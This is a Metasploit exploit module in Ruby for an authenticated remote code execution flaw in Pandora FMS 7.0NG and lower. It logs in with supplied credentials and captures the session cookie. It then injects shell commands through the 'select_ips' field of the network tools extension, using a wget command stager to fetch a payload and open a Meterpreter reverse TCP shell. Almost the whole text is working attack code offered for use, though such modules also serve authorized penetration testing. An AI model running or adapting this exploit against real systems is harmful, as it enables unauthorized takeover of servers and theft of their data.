Pandora FMS Ping Authenticated Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Pandora FMS Ping Authenticated Remote Code Execution',  
'Description' => %q{  
This module exploits a vulnerability found in Pandora FMS 7.0NG and lower.  
net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands.  
},  
'Author' =>  
[  
'Onur ER <[email protected]>' # Vulnerability discovery and Metasploit module  
],  
'DisclosureDate' => '2020-03-09',  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' =>  
[  
['Automatic Target', {}]  
],  
'DefaultOptions' =>  
{  
'Payload' => 'linux/x86/meterpreter/reverse_tcp'  
},  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),  
OptString.new('USERNAME', [true, 'The username to authenticate with']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with'])  
]  
)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'index.php')  
})  
  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
  
unless res.body =~ /Pandora/i  
return CheckCode::Safe  
end  
  
pandora_version = res.body.scan(/<div id="ver_num">v(.*?)<\/div>/).flatten.first  
version = Gem::Version.new(pandora_version)  
  
print_status("Pandora FMS version #{version}") if version  
  
if Gem::Version.new(version) <= Gem::Version.new('7.0NG')  
return Exploit::CheckCode::Appears  
end  
  
CheckCode::Detected  
end  
  
def authenticate  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'vars_get' => {  
'login' => '1'  
},  
'vars_post' => {  
'nick' => datastore['USERNAME'],  
'pass' => datastore['PASSWORD'],  
'login_button' => 'Login'  
}  
})  
  
return auth_succeeded?(res)  
end  
  
def auth_succeeded?(res)  
unless res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')  
print_error('Authentication failed!')  
return false  
end  
print_good('Successfully authenticated')  
print_status('Attempting to retrieve session cookie')  
@cookie = res.get_cookies  
unless @cookie.include?('PHPSESSID')  
print_error('Error retrieving cookie!')  
return false  
end  
print_good("Successfully retrieved session cookie: #{@cookie}")  
true  
end  
  
def exploit  
print_status('Exploiting...')  
execute_cmdstager(flavor: :wget, nospace: true)  
end  
  
def execute_command(cmd, opts = {})  
print_status("Attempting to authenticate using (#{datastore['USERNAME']}:#{datastore['PASSWORD']})")  
auth = authenticate  
unless auth  
fail_with Failure::NoAccess, 'Please provide a valid username and password.'  
end  
  
id_agente = 1  
while !session_created? && id_agente <= 10  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'cookie' => @cookie,  
'vars_get' => {  
'sec' => 'estado',  
'sec2' => 'operation/agentes/ver_agente',  
'tab' => 'extension',  
'id_agente' => "#{id_agente}",  
'id_extension' => 'network_tools'  
},  
'vars_post' => {  
'operation' => '2',  
'select_ips' => ";#{cmd}",  
'community' => 'public',  
'submit' => 'Execute'  
}  
})  
  
id_agente += 1  
end  
end  
end  
`